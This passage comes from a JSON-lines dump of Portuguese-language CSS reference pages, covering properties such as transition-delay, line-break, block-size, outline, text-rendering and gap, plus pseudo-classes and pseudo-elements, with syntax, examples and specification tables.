yellow;\n  font-size: 18px;\n  left: 150px;\n  top: 25px;\n  position: absolute;\n  -webkit-transition-property: width height background-color font-size left top\n    color;\n  -webkit-transition-duration: 2s;\n  -webkit-transition-delay: 4s;\n  -webkit-transition-timing-function: ease-in-out;\n  transition-property: width height background-color font-size left top color;\n  transition-duration: 2s;\n  transition-delay: 4s;\n  transition-timing-function: ease-in-out;\n}\n```\n\n\n```\nfunction updateTransition() {\n  var el = document.querySelector(\"div.box\");\n\n  if (el) {\n    el.className = \"box1\";\n  } else {\n    el = document.querySelector(\"div.box1\");\n    el.className = \"box\";\n  }\n\n  return el;\n}\n\nvar intervalID = window.setInterval(updateTransition, 7000);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Transitions # transition-delay-property |\n\n|  |  |\n| --- | --- |\n| Initial value | `0s` |\n| Aplica-se a | all elements, `::before` and `::after` pseudo-elements |\n| Inherited | não |\n| Computed value | as specified |\n| Animation type | Not animatable |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando Transições CSS\n* `TransitionEvent` (en-US) API"}
{"title":"line-break - CSS","text":"line-break\n==========\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA propriedade CSS **`line-break`** é usada para especificar como (ou se) quebrar linhas.\n\nSintaxe\n-------\n\n\n```css\n/\\* Keyword values \\*/\nline-break: auto;\nline-break: loose;\nline-break: normal;\nline-break: strict;\n\n/\\* Valores Globais \\*/\nline-break: inherit;\nline-break: initial;\nline-break: unset;\n```\n\n### Valores\n\n`auto`\n\nquebra o texto usando a regra padrão de quebra de linha.\n\n`loose`\n\nquebra o texto usando a regra de quebra de linha que é mais curta, como um jornal.\n\n`normal`\n\nquebra o texto usando a regra padrão de quebra de linha.\n\n`strict`\n\nquebra o texto usando uma regra rigorosa para a quebra de linha.\n\n### Sintaxe formal\n```\n\nline-break =   \n  auto      | (en-US)  \n  loose     | (en-US)  \n  normal    | (en-US)  \n  strict    | (en-US)  \n  anywhere    \n  \n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Text Module Level 3 # line-break-property |\n\n|  |  |\n| --- | --- |\n| Initial value | `auto` |\n| Aplica-se a | all elements |\n| Inherited | yes |\n| Computed value | as specified |\n| Animation type | discrete |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Pseudo-elementos - CSS","text":"Pseudo-elementos\n================\n\nUm **pseudo-elemento** CSS é uma palavra-chave adicionada a um seletor que permite que você estilize uma parte específica do elemento selecionado. Por exemplo, o pseudo-elemento `::first-line` aplica o estilo apenas na primeira linha de um parágrafo.\n\n```css\n/\\* A primeira linha de todo elemento <p>. \\*/\np::first-line {\n  color: blue;\n  text-transform: uppercase;\n}\n```\n\n\n**Nota:** Diferentemente dos pseudo-elementos, `pseudo-classes` podem ser utilizadas para estilizar um elemento baseado em seu *estado*.\n\nSintaxe\n-------\n```\n\nseletor::pseudo-elemento {\n  propriedade: valor;\n}\n```\n\n\nVocê pode utilizar apenas um pseudo-elemento em um seletor. Ele deve aparecer depois da declaração de um elemento simples.\n\n**Nota:** Como regra, os dois pontos devem ser usados duas vezes (`::`) ao invés de uma única vez (`:`). Isso distingue pseudo-classes de pseudo-elementos. Apesar disso, devido a essa distinção não estar presente em versões mais antigas da especificação da W3C, a maioria dos navegadores suportam ambas as sintaxes para os pseudo-elementos originais.\n\nÍndice de pseudo-elementos comuns\n---------------------------------\n\n* `::after`\n* `::before`\n* `::cue` (en-US)\n* `::first-letter`\n* `::first-line`\n* `::selection`\n* `::slotted` (en-US)\n* `::backdrop` \nExperimental\n* `::placeholder` (en-US) \nExperimental\n* `::marker` (en-US) \nExperimental\n* `::spelling-error` (en-US) \nExperimental\n* `::grammar-error` (en-US) \nExperimental\n\n| Navegador | Versão mais baixa | Suporte de |\n| --- | --- | --- |\n| Internet Explorer | 8.0 | `:pseudo-element` |\n| 9.0 | `:pseudo-element ::pseudo-element` |\n| Firefox (Gecko) | 1.0 (1.0) | `:pseudo-element` |\n| 1.0 (1.5) | `:pseudo-element ::pseudo-element` |\n| Opera | 4.0 | `:pseudo-element` |\n| 7.0 | `:pseudo-element ::pseudo-element` |\n| Safari (WebKit) | 1.0 (85) | `:pseudo-element ::pseudo-element` |\n\nVer também\n----------\n\n* pseudo-classes"}
{"title":"CSS Flexible Box Layout - CSS","text":"CSS Flexible Box Layout\n=======================\n\n**CSS Flexible Box Layout** é um módulo do CSS que define um layout multicoluna otimizado para o design de interfaces de usuário, para isso busca lidar com o layout dos itens de maneira unidimensional. No modelo de layout do Flexbox, os filhos de um contêiner flex podem ser dispostos em qualquer direção, e podem \"flexibilizar\" seus tamanhos, crescendo para preencher o espaço vazio ou diminuindo para evitar o transbordamento do elemento pai. O alinhamento horizontal e vertical dos filhos podem ser facilmente manipulados.\n\nExemplo Básico\n--------------\n\nNo exemplo a seguir um contêiner foi definido como `display: flex`, o que significa que os três items filhos dele se tornaram flex. O valor de `justify-content` foi definido como `space-between` para espaçar os itens uniformemente no eixo principal. Uma quantidade igual de espaço é colocada entre cada item com a esquerda e direita dos itens sendo niveladas com as bordas do contêiner flex. Você também pode perceber que os items estão alongados no eixo transversal, isso acontece por causa do valor padrão de `align-items` ser `stretch`(esticar). Os itens se estendem até a altura do contêiner flex, fazendo com que eles sejam tão altos quanto o item mais alto.\n\nReferência\n----------\n\n### Propriedades CSS\n\n* `flex`\n* `flex-basis` (en-US)\n* `flex-direction`\n* `flex-flow`\n* `flex-grow` (en-US)\n* `flex-shrink` (en-US)\n* `flex-wrap`\n* `order` (en-US)\n### Propriedades de Alinhamento\n\nA propriedade `align-content`, `align-self`, `align-items` e `justify-content` apareceram inicialmente na especificação do Flexbox, mas agora estão definidas em Box Alignment. As especificações do Flexbox agora referência a especificação do Box Alignment para definições atualizadas. Propriedades de alinhamento adicional agora também são definidas em Box Alignment.\n\n* `justify-content` (en-US)\n* `align-content`\n* `align-items`\n* `align-self`\n* `place-content` (en-US)\n* `place-items` (en-US)\n* `row-gap` (en-US)\n* `column-gap` (en-US)\n* `gap`\n### Entradas do glossário\n\n* Flexbox\n* Flex Container (en-US)\n* Flex Item (en-US)\n* Main Axis (en-US)\n* Cross Axis (en-US)\n* Flex\nGuia\n----\n\nConceitos básicos de flexbox\n\nUma visão geral sobre as funcionalidades do Flexbox\n\nRelação entre o Flexbox e os outros métodos de layout (en-US)\n\nComo o Flexbox está relacionado aos outros métodos de layout, e outras especificações CSS\n\nAlinhando itens em um contêiner flex\n\nComo as propriedades Box Alignment trabalham com Flexbox.\n\nOrdenando itens flex (en-US)\n\nExplicando as diferentes formas de mudar a order e direção dos itens, e cobrindo os possíveis problemas em fazer isso.\n\nProporções de Controle de itens flex ao longo do eixo principal (en-US)\n\nExplicando as propriedades flex-grow, flex-shrink e flex-basis.\n\nDominando a embalagem de itens flex (en-US)\n\nComo criar contêiners flex com múltiplas linhas e controlar a exibição dos itens nessas linhas.\n\nCasos típicos de uso do Flexbox (en-US)\n\nPadrão de projeto comuns que são casos de uso típicos do Flexbox.\n\nRetrocompatibilidade do Flexbox (en-US)\n\nStatus do Flexbox nos browsers, problemas de interoperabilidade e suporte para browsers antigos e versões das especificações\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Flexible Box Layout Module Level 1  |\n\nVeja também\n-----------\n\nFlexbugs\n\nUma lista curada pela comunidade de bugs do Flexbox nos navegadores e soluções alternativas"}
{"title":"block-size - CSS","text":"block-size\n==========\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA propriedade CSS **`block-size`** define o tamanho horizontal ou vertical de um elemento bloco. Corresponde à propriedade `width` ou `height`, dependendo do valor do `writing-mode`.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```css\n/\\* valores <length> \\*/\nblock-size: 300px;\nblock-size: 25em;\n\n/\\* valores <percentage> \\*/\nblock-size: 75%;\n\n/\\* valores de Keyword \\*/\nblock-size: 25em border-box;\nblock-size: 75% content-box;\nblock-size: max-content;\nblock-size: min-content;\nblock-size: available;\nblock-size: fit-content;\nblock-size: auto;\n\n/\\* valores globais \\*/\nblock-size: inherit;\nblock-size: initial;\nblock-size: unset;\n```\n\n\nSe o modo de escrita está orientado verticalmente, o valor do `block-size` refere-se à largura do elemento; senão, refere-se à altura do elemento. Uma propriedade relacionada é `inline-size`, que define as outras dimensões do elemento.\n\n|  |  |\n| --- | --- |\n| Initial value | `auto` |\n| Aplica-se a | same as `width` and `height` |\n| Inherited | não |\n| Percentages | block-size of containing block |\n| Computed value | same as `width` and `height` |\n| Animation type | a length, percentage or calc(); |\n\nSintaxe\n-------\n\n### Valores\n\nA propriedade `block-size` leva os mesmos valores que as propriedades `width` e `height`.\n\n### Sintaxe formal\n```\n\nblock-size =   \n  <'width'>    \n  \n```\n\nExemplo\n-------\n\n### HTML\n\n\n```html\n<p class=\"exampleText\">Example text</p>\n```\n\n### CSS\n\n\n```css\n.exampleText {\n  writing-mode: vertical-rl;\n  background-color: yellow;\n  block-size: 200px;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Logical Properties and Values Level 1 # dimension-properties |\n| CSS Box Sizing Module Level 4 # sizing-values |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nSee also\n--------\n\n* As propriedades: `width` and `height`\n* `writing-mode`"}
{"title":"Propriedades personalizadas (--*) - CSS","text":"Propriedades personalizadas (--\\*)\n==================================\n\nBaseline Widely available\n-------------------------\n\nThis feature is well established and works across many devices and browser versions. It’s been available across browsers since April 2017.\n\n* Learn more\n* See full compatibility\n* Report feedback\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nNomes de propriedades com o prefixo `--`, como `--example-name`, representam *Propriedade personalizadas* que contém um valor que pode ser reutilizado por todo o documento usando a função (`var()`).\n\nPropriedades personalizadas participam na cascata: cada uma delas pode aparecer várias vezes e o valor da variável corresponderá ao valor definido na propriedade personalizada, decidido pelo algoritmo de cascata.\n\n|  |  |\n| --- | --- |\n| Initial value | see prose |\n| Aplica-se a | all elements |\n| Inherited | yes |\n| Computed value | as specified with variables substituted |\n| Animation type | discrete |\n\nSintaxe\n-------\n\n\n```css\n--somekeyword: left;\n--somecolor: #0000ff;\n--somecomplexvalue: 3px 6px rgb(20, 32, 54);\n```\n\n\n`<declaration-value>`\n\nEste valor corresponde a qualquer sequência de um ou mais tokens, desde que a sequência não contenha tokens não permitidos. Representa a totalidade do que uma declaração válida pode ter como valor.\n\n### Sintaxe formal\n\nError: could not find syntax for this itemExemplo\n-------\n\n### HTML\n\n\n```html\n<p id=\"firstParagraph\">\n  Este parágrafo deve ter um fundo azul e um texto amarelo.\n</p>\n<p id=\"secondParagraph\">\n  Este parágrafo deve ter um fundo amarelo e um texto azul.\n</p>\n<div id=\"container\">\n  <p id=\"thirdParagraph\">\n    Este parágrafo deve ter um fundo verde e um texto amarelo.\n  </p>\n</div>\n```\n\n### CSS\n\n\n```css\n:root {\n  --first-color: #488cff;\n  --second-color: #ffff8c;\n}\n\n#firstParagraph {\n  background-color: var(--first-color);\n  color: var(--second-color);\n}\n\n#secondParagraph {\n  background-color: var(--second-color);\n  color: var(--first-color);\n}\n\n#container {\n  --first-color: #48ff32;\n}\n\n#thirdParagraph {\n  background-color: var(--first-color);\n  color: var(--second-color);\n}\n```\n\n### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Custom Properties for Cascading Variables Module Level 1 # defining-variables |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Utilizando variáveis CSS"}
{"title":":target - CSS","text":":target\n=======\n\nA pseudo-classe CSS **`:target`** representa um único elemento (o elemento alvo) com uma `id` correspondente ao fragmento da URL.\n\n\n```css\n/\\* Seleciona um elemento com a ID correspondente ao fragmento da URL \\*/\n:target {\n  border: 2px solid black;\n}\n```\n\n\nPor exemplo, a seguinte URL tem um fragmento (denotado pelo sinal de *#*) que aponta para o elemento chamado `section2`:\n```\n\nhttp://www.example.com/index.html#section2\n```\n\n\nO seguinte elemento será selecionado pelo seletor `:target` quando a URL for igual acima:\n\n\n```html\n<section id=\"section2\">Exemplo</section>\n```\n\nSintaxe\n-------\n\nError: could not find syntax for this itemExemplos\n--------\n\n### Índice\n\nA pseudo-classe `:target` pode ser usada para destacar uma parte da página que foi vinculada a partir de um índice.\n\n#### HTML\n\n\n```html\n<h3>Índice</h3>\n<ol>\n  <li><a href=\"#p1\">Ir para o primeiro parágrafo!</a></li>\n  <li><a href=\"#p2\">Ir para o segundo parágrafo!</a></li>\n  <li>\n    <a href=\"#vazio\"\n >Esse link não vai pra lugar nenhum, pois, o alvo não existe</a\n >\n  </li>\n</ol>\n\n<h3>Meu artigo divertido</h3>\n<p id=\"p1\">\n  Você pode definir <i>este parágrafo</i> como alvo usando um fragmento de URL.\n  Clique no link acima para experimentar!\n</p>\n<p id=\"p2\">\n  Esse é <i>outro parágrafo</i>, também acessável pelos links acima. Não é\n  incrível?\n</p>\n```\n\n\n#### CSS\n\n\n```css\np:target {\n  background-color: gold;\n}\n\n/\\* Adicione o pseudo-elemento dentro do elemento alvo \\*/\np:target::before {\n  font: 70% sans-serif;\n  content: \"►\";\n  color: limegreen;\n  margin-right: 0.25em;\n}\n\n/\\* Estilize nos elementos em itálico dentro do elemento alvo \\*/\np:target i {\n  color: red;\n}\n```\n\n\n#### Resultado\n\n### Lightbox com CSS puro\n\nVocê pode usar a pseudo-classe `:target` para criar uma lightbox sem usar JavaScript. Essa técnica requer que os links apontem para os elementos que inicialmente estavam escondidas na página. Uma vez designado, o CSS muda o `display` então, assim o conteúdo pode ser mostrado.\n\n**Nota:** Uma lightbox com CSS puro mais completo usando a pseudo-classe `:target` está disponível no GitHub (demo).\n\n#### HTML\n\n\n```html\n<ul>\n  <li><a href=\"#example1\">Abrir exemplo #1</a></li>\n  <li><a href=\"#example2\">Abrir exemplo #2</a></li>\n</ul>\n\n<div class=\"lightbox\" id=\"example1\">\n  <figure>\n    <a href=\"#\" class=\"close\"></a>\n    <figcaption>\n      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec felis enim,\n      placerat id eleifend eu, semper vel sem.\n    </figcaption>\n  </figure>\n</div>\n\n<div class=\"lightbox\" id=\"example2\">\n  <figure>\n    <a href=\"#\" class=\"close\"></a>\n    <figcaption>\n      Cras risus odio, pharetra nec ultricies et, mollis ac augue. Nunc et diam\n      quis sapien dignissim auctor. Quisque quis neque arcu, nec gravida magna.\n    </figcaption>\n  </figure>\n</div>\n```\n\n\n#### CSS\n\n\n```css\n/\\* Lightbox fechado \\*/\n.lightbox {\n  display: none;\n}\n\n/\\* Lightbox aberto \\*/\n.lightbox:target {\n  position: absolute;\n  left: 0;\n  top: 0;\n  width: 100%;\n  height: 100%;\n  display: flex;\n  align-items: center;\n  justify-content: center;\n}\n\n/\\* Conteúdo da lightbox \\*/\n.lightbox figcaption {\n  width: 25rem;\n  position: relative;\n  padding: 1.5em;\n  background-color: lightpink;\n}\n\n/\\* Botão fechar \\*/\n.lightbox .close {\n  position: relative;\n  display: block;\n}\n\n.lightbox .close::after {\n  right: -1rem;\n  top: -1rem;\n  width: 2rem;\n  height: 2rem;\n  position: absolute;\n  display: flex;\n  z-index: 1;\n  align-items: center;\n  justify-content: center;\n  background-color: black;\n  border-radius: 50%;\n  color: white;\n  content: \"×\";\n  cursor: pointer;\n}\n\n/\\* Lightbox overlay \\*/\n.lightbox .close::before {\n  left: 0;\n  top: 0;\n  width: 100%;\n  height: 100%;\n  position: fixed;\n  background-color: rgba(0, 0, 0, 0.7);\n  content: \"\";\n  cursor: default;\n}\n```\n\n\n#### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # selector-target |\n| Selectors Level 4 # the-target-pseudo |\n\nNavegadores compatíveis\n-----------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Usando a pseudo-classe :target em seletores."}
{"title":"outline - CSS","text":"outline\n=======\n\nSumário\n-------\n\nA propriedade CSS **`outline`** é uma propriedade abreviada para configurar uma ou mais das propriedades de contorno `outline-style` (en-US), `outline-width` (en-US) e `outline-color` (en-US) em uma única declaração. Na maioria dos casos o uso abreviado é preferível e mais conveniente.\n\nContornos se diferenciam de bordas das seguintes maneiras:\n\n* Contornos não ocupam espaços, eles são desenhados acima do conteúdo.\n* Contornos podem não ser retangulares. Eles são retangulares no Gecko/Firefox. Mas por exemplo, Opera desenha uma forma não retangular em torno de uma construção como este:\n **TEXTTEXTTEXT**\n\n|  |  |\n| --- | --- |\n| Initial value | as each of the properties of the shorthand:* `outline-color` (en-US): `auto`\n* `outline-style` (en-US): `none`\n* `outline-width` (en-US): `medium`\n |\n| Aplica-se a | all elements |\n| Inherited | não |\n| Computed value | as each of the properties of the shorthand:* `outline-color` (en-US): For the keyword `auto`, the computed value is `currentcolor`. For the color value, if the value is translucent, the computed value will be the `rgba()` corresponding one. If it isn't, it will be the `rgb()` corresponding one. The `transparent` keyword maps to `rgba(0,0,0,0)`.\n* `outline-width` (en-US): an absolute length; if the keyword `none` is specified, the computed value is `0`\n* `outline-style` (en-US): as specified\n |\n| Animation type | as each of the properties of the shorthand:* `outline-color` (en-US): a color\n* `outline-width` (en-US): a length\n* `outline-style` (en-US): by computed value type\n |\n\nSintaxe\n-------\n\n\n```css\n/\\* largura | estilo | cor \\*/\noutline: 1px solid white;\n\n/\\* Valores globais \\*/\noutline: inherit;\noutline: initial;\noutline: unset;\n```\n\n### Valores\n\nUm, dois ou três valores, dada em ordem arbitrária:\n\n`<'outline-width'>`\n\nVeja `outline-width` (en-US).\n\n`<'outline-style'>`\n\nVeja `outline-style` (en-US).\n\n`<'outline-color'>`\n\nDesde Gecko 1.9 (Firefox 3), o valor da propriedade `color` (cor de primeiro plano) é usado. Veja `outline-color` (en-US).\n\n### Sintaxe completa\n```\n\noutline =   \n  <'outline-color'>  || (en-US)  \n  <'outline-style'>  || (en-US)  \n  <'outline-width'>    \n  \n```\n\nExemplos\n--------\n\n\n```css\n/\\* duas declarações identicas \\*/\n\n:link:hover {\n  outline: 1px solid #000;\n}\n:link:hover {\n  outline: solid black 1px;\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Basic User Interface Module Level 4 # outline |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"text-rendering - CSS","text":"text-rendering\n==============\n\nSumário\n-------\n\nA propriedade CSS `text-rendering` provê informações para o mecanismo de renderização sobre o que otimizar no momento em que ele renderiza texto. O navegador faz escolhas entre velocidade, legibilidade e precisão geométrica. A propriedade `text-rendering` é uma propriedade SVG que não é definida em nenhum padrão CSS. Porém, navegadores Gecko e WebKit permitem o uso da propriedade em conteúdos HTML e XML nas plataformas Windows, Mac OS X e Linux.\n\nUm efeito bastante visível é o `optimizeLegibility`, que habilita ligaduras (ff, fi, fl etc.) para algumas fontes com o texto menores que 20px como, por exemplo, fontes da Microsoft (*Calibri, Candara, Constantia* e *Corbel* ou a família de fontes *DejaVu*).\n\n|  |  |\n| --- | --- |\n| Initial value | `auto` |\n| Aplica-se a | text elements |\n| Inherited | yes |\n| Computed value | as specified |\n| Animation type | discrete |\n\nSyntax\n------\n```\n\ntext-rendering:  auto | optimizeSpeed | optimizeLegibility | geometricPrecision | inherit\n```\n\n### Valores\n\n`auto`\n\nO navegador faz sugestões de quando otimizar velocidade, legibilidade e precisão geométrica enquando formata o texto. Para diferenças em como esse valor é interpretado pelo navegador, veja a tabela de compatibilidades.\n\n`optimizeSpeed`\n\nO navegador prioriza a velocidade de renderização sobre a legibilidade e precisão geométrica no momento de rederização do texto. Essa opção desabilita o kerning1 e ligatures2.\n\n`optimizeLegibility`\n\nO navegador prioriza legibilidade sobre a velocidade de renderização e precisão geométrica. Essa propriedade habilita o kerning e ligatures opcionais.\n\n`geometricPrecision`\n\nO browser prioriza a precisão geométrica sobre a velocidade de renderização e legibilidade. Alguns aspectos de fontes - tais como kerning - não se escala linearmente e, dessa forma, `geometricPrecision` pode tornar essas fontes visualmente boas.\n\nEm SVG, quando o texto é escalado para cima ou para baixo, os navegadores calculam o tamanho final do texto (que é o tamanho de fonte específicado e a escala aplicada) e requer uma fonte de tamanho computado à partir das fontes do sistema. Mas se você requer um tamanho de fonte de, digamos, 9 com a escala de 140%, o resultado do tamanho da fonte de 12.6 não explicitamente existe no sistema, então o browser ira arredondar o tamanho da fonte para 12.\n\nMas a propriedade `geometricPrecision` - quando totalmente surpotada pelo mecanismo de renderização - deixa você escalar seu texto fluidamente. Para fatores de larga escala, você pode ver uma renderização de texto não tão bonita, mas com o tamanho esperado - nem arredondado para cima ou para baixo para o mais próximo tamanho suportado pelo sistema Windows ou Linux.\n\nNavegadores WebKit precisamente aplicam o valor específico, mas os navegadores Gecko tratam o esse valor como `optimizeLegibility`.\n\nExemplos\n--------\n\n\n```css\n/\\* make sure all fonts in the HTML document display in all its glory,\n but avoid inadequate ligatures in class foo elements \\*/\n\nbody {\n  text-rendering: optimizeLegibility;\n}\n.foo {\n  text-rendering: optimizeSpeed;\n}\n```\n\n\n#### Live Example\n\n| CSS code | Kerning | Ligatures |\n| --- | --- | --- |\n| font: 19.9px 'DejaVu Serif',Constantia; | LYoWAT | ff fi fl ffl |\n| font: 20px 'DejaVu Serif',Constantia; | LYoWAT | ff fi fl ffl |\n| font: 3em 'DejaVu Serif',Constantia; text-rendering: optimizeSpeed; | LYoWAT | ff fi fl ffl |\n| font: 3em 'Dejavu Serif',Constantia; text-rendering: optimizeLegibility; | LYoWAT | ff fi fl ffl |\n\n### Gecko Notes\n\nO valor padrão de 20px para `auto` pode ser alterado na propriedade `browser.display.auto_quality_min_font_size` do navegador.\n\nA opção optimizeSpeed não tem efeito na versão 2.0 do Gecko, devido ao código padrão de renderização de texto que já é muito rápido e não existe até o momento um código mais rápido para esse trabalho. Veja detalhes em Firefox bug 595688.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Scalable Vector Graphics (SVG) 2 # TextRenderingProperty |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":":nth-last-child() - CSS","text":":nth-last-child()\n=================\n\nA pseudo-classe CSS **`:nth-last-child()`** seleciona um ou mais elementos com base em sua posição entre um grupo de elementos-irmãos, contando a partir do último.\n\n\n```css\n/\\* Seleciona todo quarto elemento\n em qualquer grupo de irmãos,\n contando do último para o primeiro \\*/\n:nth-last-child(4n) {\n  color: lime;\n}\n```\n\n\n**Nota:** Essa pseudo-classe é essencialmente o mesmo que usar `:nth-child`, porém conta os itens de trás para a frente, e não do início para o final.\n\nSintaxe\n-------\n\nA pseudo-classe `nth-last-child` é especificada com um único argumento, que representa o padrão para elementos correspondentes, contando do final.\n\n### Valores chave\n\n`odd`\n\nRepresenta elementos cuja posição numérica em uma série de irmãos é ímpar: 1, 3, 5, etc., contando do final.\n\n`even`\n\nRepresenta elementos cuja posição numérica em uma série de irmãos é par: 2, 4, 6, etc., contando do final.\n\n### Notação funcional\n\n`<An+B>`\n\nRepresenta elementos cuja posição numérica em uma série de irmãos corresponde ao padrão `An+B`, para cada valor de `n` que seja um número inteiro positivo ou zero. O índice do primeiro elemento, contando do final, é `1`. Os valores `A` e `B` devem ambos ser `<integer>` (en-US)s (inteiros).\n\n### Sintaxe formal\n\nError: could not find syntax for this itemExemplos\n--------\n\n### Seletores de exemplo\n\n`tr:nth-last-child(odd)` ou `tr:nth-last-child(2n+1)`\n\nRepresenta as linhas ímpares de uma tabela HTML: 1, 3, 5, etc., contando do final.\n\n`tr:nth-last-child(even)` ou `tr:nth-last-child(2n)`\n\nRepresenta as linhas pares de uma tabela HTML: 2, 4, 6, etc., contando do final.\n\n`:nth-last-child(7)`\n\nRepresenta o sétimo elemento, contando do final.\n\n`:nth-last-child(5n)`\n\nRepresenta elementos 5, 10, 15, etc., contando do final.\n\n`:nth-last-child(3n+4)`\n\nRepresenta elementos 4, 7, 10, 13, etc., contando do final.\n\n`:nth-last-child(-n+3)`\n\nRepresenta os últimos três elementos em um grupo de irmãos.\n\n`p:nth-last-child(n)`\n\nRepresenta cada elemento `<p>` em um grupo de irmãos. Isso é o mesmo que um simples seletor `p`.\n\n`p:nth-last-child(1)` ou `p:nth-last-child(0n+1)`\n\nRepresenta cada `<p>` que seja o primeiro elemento em um grupo de irmãos, contando do final. Isso é o mesmo que o seletor `:last-child`.\n\n### Exemplo de tabela\n\n#### HTML\n\n\n```html\n<table>\n  <tbody>\n    <tr>\n      <td>Primeira linha</td>\n    </tr>\n    <tr>\n      <td>Segunda linha</td>\n    </tr>\n    <tr>\n      <td>Terceira linha</td>\n    </tr>\n    <tr>\n      <td>Quarta linha</td>\n    </tr>\n    <tr>\n      <td>Quinta linha</td>\n    </tr>\n  </tbody>\n</table>\n```\n\n\n#### CSS\n\n\n```css\ntable {\n  border: 1px solid blue;\n}\n\n/\\* Seleciona os últimos três elementos \\*/\ntr:nth-last-child(-n + 3) {\n  background-color: pink;\n}\n```\n\n\n#### Resultado\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Selectors Level 4 # nth-last-child-pseudo |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `:nth-child`, `:nth-last-of-type` (en-US)"}
{"title":"gap - CSS","text":"gap\n===\n\nA propriedade `CSS` **`gap`** define os espaços (gutters (en-US)) entre as linhas e colunas. É uma `propriedade shorthand` para `row-gap` (en-US) e `column-gap` (en-US).\n\nExperimente\n-----------\n\nÉ importante notar que `grid-gap` é um pseudônimo para esta propriedade.\n\nSintaxe\n-------\n\n\n```css\n/\\* Um valor de comprimento \\*/\n/\\* Tipo: <length> \\*/\ngap: 20px;\ngap: 1em;\ngap: 3vmin;\ngap: 0.5cm;\n\n/\\* Um valor de porcentagem \\*/\n/\\* Tipo: <percentage> \\*/\ngap: 16%;\ngap: 100%;\n\n/\\* Dois valores de comprimento \\*/\ngap: 20px 10px;\ngap: 1em 0.5em;\ngap: 3vmin 2vmax;\ngap: 0.5cm 2mm;\n\n/\\* Um ou dois valores de porcentagem \\*/\ngap: 16% 100%;\ngap: 21px 82%;\n\n/\\* Valores de calc() \\*/\ngap: calc(10% + 20px);\ngap: calc(20px + 10%) calc(10% - 5px);\n\n/\\* Valores globais \\*/\ngap: inherit;\ngap: initial;\ngap: revert;\ngap: revert-layer;\ngap: unset;\n```\n\n\nEsta propriedade é especificada como um valor para `<'row-gap'>` seguido opcionalmente por um valor para `<'column-gap'>`. Se o valor para `<'column-gap'>` for omitido, este será definido como o mesmo valor de `<'row-gap'>`.\n\nOs valores de `<'row-gap'>` e `<'column-gap'>` são ambos especificados como `<length>` ou `<percentage>`.\n\n### Valores\n\n`<length>` (en-US)\n\nÉ o comprimento do espaçamento (gutter) que separa as linhas do grid.\n\n`<percentage>` (en-US)\n\nÉ o comprimento do espaçamento (gutter) que separa as linhas do grid, relativo à dimensão do elemento.\n\nDefinição formal\n----------------\n\n|  |  |\n| --- | --- |\n| Initial value | as each of the properties of the shorthand:* `row-gap` (en-US): `normal`\n* `column-gap` (en-US): `normal`\n |\n| Aplica-se a | multi-column elements, flex containers, grid containers |\n| Inherited | não |\n| Computed value | as each of the properties of the shorthand:* `row-gap` (en-US): as specified, with <length>s made absolute, and normal computing to zero except on multi-column elements\n* `column-gap` (en-US): as specified, with <length>s made absolute, and normal computing to zero except on multi-column elements\n |\n| Animation type | as each of the properties of the shorthand:* `row-gap` (en-US): a length, percentage or calc();\n* `column-gap` (en-US): a length, percentage or calc();\n |\n\nSintaxe formal\n--------------\n```\n\ngap =   \n  <'row-gap'> <'column-gap'>? (en-US)    \n  \n```\n\nExemplos\n--------\n\n### Flex layout\n\n#### HTML\n\n\n```html\n<div id=\"flexbox\">\n  <div></div>\n  <div></div>\n  <div></div>\n  <div></div>\n  <div></div>\n  <div></div>\n</div>\n```\n\n\n#### CSS\n\n\n```css\n#flexbox {\n  display: flex;\n  flex-wrap: wrap;\n  width: 300px;\n  gap: 20px 5px;\n}\n\n#flexbox > div {\n  border: 1px solid green;\n  background-color: lime;\n  flex: 1 1 auto;\n  width: 100px;\n  height: 50px;\n}\n```\n\n\n#### Resultado\n\n### Grid layout\n\n#### HTML\n\n\n```html\n<div id=\"grid\">\n  <div></div>\n  <div></div>\n  <div></div>\n  <div></div>\n  <div></div>\n  <div></div>\n  <div></div>\n  <div></div>\n  <div></div>\n</div>\n```\n\n\n#### CSS\n\n\n```css\n#grid {\n  display: grid;\n  height: 200px;\n  grid-template: repeat(3, 1fr) / repeat(3, 1fr);\n  gap: 20px 5px;\n}\n\n#grid > div {\n  border: 1px solid green;\n  background-color: lime;\n}\n```\n\n\n#### Resultado\n\n### Layout de múltiplas colunas\n\n#### HTML\n\n\n```html\n<p class=\"content-box\">\n  This is some multi-column text with a 40px column gap created with the CSS\n  <code>gap</code> property. Don't you think that's fun and 